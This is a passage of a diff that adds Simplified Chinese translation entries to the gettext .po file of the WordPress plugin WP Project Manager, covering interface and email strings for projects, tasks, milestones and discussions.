views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "确定要删除此消息?" + +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this project?" +msgid "Are you sure to delete this comment?" +msgstr "确定删除此项目?" + +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "添加新消息" + +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "更新消息" + +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "项目动态" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "任务列表" + +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "里程碑" + +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "文件" + +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "编辑" + +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "删除此消息" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "输入消息标题" + +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "添加消息" + +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "更新消息" + +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "开始一个新项目" + +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "项目名称" + +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "项目详情(可选)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "添加新项目" + +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "更新项目" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "编辑里程碑" + +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "删除里程碑" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "标记为已完成" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "里程碑名称" + +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "添加里程碑" + +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "更新里程碑" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "添加任务" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "更新列表" + +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "添加列表" + +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete milestone" +msgid "Delete List" +msgstr "删除里程碑" + +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "保存修改" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "动态" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "删除" + +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "选择所有" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "取消" + +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select all" +msgid "Select Color" +msgstr "选择所有" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "删除文件" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "已完成" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "通知用户" + +#: views/assets/src/components/project-activities/activities.vue:46 +#, fuzzy +#| msgid "Load More..." +msgid "Load More ..." +msgstr "加载更多..." + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "创建新消息" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +#, fuzzy +#| msgid "Body" +msgid "By" +msgstr "内容" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "没有找到用户" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "新项目" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "任务" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "已完成里程碑" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "完成日期:" + +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "最新里程碑" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "即将到来" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "到期" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "新任务列表" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "邮件设置" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "邮件类型" + +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "HTML邮件" + +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "纯文本" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "文件上传限制" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +#, fuzzy +#| msgid "Due date" +msgid "due date" +msgstr "到期时间" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "查看任务" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "新消息" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "查看消息" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "查看项目" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "更新列表" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +#~ msgid "Project created by %s" +#~ msgstr "项目发起人:%s" + +#~ msgid "Project details updated by %s" +#~ msgstr "项目详细已由%s更新" + +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "消息\"%s\"已被%s删除" + +#~ msgid "%s deleted a comment" +#~ msgstr "%s删除了一条评论" + +#~ msgid "Add a comment..." +#~ msgstr "添加评论" + +#~ msgid "Messages" +#~ msgstr "消息" + +#~ msgid "message post type" +#~ msgstr "消息文章类型" + +#~ msgid "Edit Message" +#~ msgstr "编辑消息" + +#~ msgid "Search Messages" +#~ msgstr "搜索消息" + +#~ msgid "Parent Message" +#~ msgstr "父级消息" + +#~ msgid "Add New Milestone" +#~ msgstr "添加新里程碑" + +#~ msgid "New Milestone" +#~ msgstr "新里程碑" + +#~ msgid "View Milestone" +#~ msgstr "查看里程碑" + +#~ msgid "Search Milestone" +#~ msgstr "选择里程碑" + +#~ msgid "Parent Milestone" +#~ msgstr "父级里程碑" + +#~ msgid "project manager post type" +#~ msgstr "项目管理文章类型" + +#~ msgid "Add Project" +#~ msgstr "添加项目" + +#~ msgid "Edit Project" +#~ msgstr "编辑项目" + +#~ msgid "Search Project" +#~ msgstr "搜索项目" + +#~ msgid "Parent Project" +#~ msgstr "父级项目" + +#~ msgid "Add Task List" +#~ msgstr "添加任务列表" + +#~ msgid "Add New Task List" +#~ msgstr "添加新任务列表" + +#~ msgid "Edit Task List" +#~ msgstr "编辑任务列表" + +#~ msgid "View Task List" +#~ msgstr "查看任务列表" + +#~ msgid "Search Task List" +#~ msgstr "搜索任务列表" + +#~ msgid "Parent Task List" +#~ msgstr "父级任务列表" + +#~ msgid "Add New Task" +#~ msgstr "添加新任务" + +#~ msgid "Edit Task" +#~ msgstr "编辑任务" + +#~ msgid "New Task" +#~ msgstr "新任务" + +#~ msgid "Search Task" +#~ msgstr "搜索任务" + +#~ msgid "Parent Task" +#~ msgstr "父级任务" + +#~ msgid "Delete project" +#~ msgstr "删除项目" + 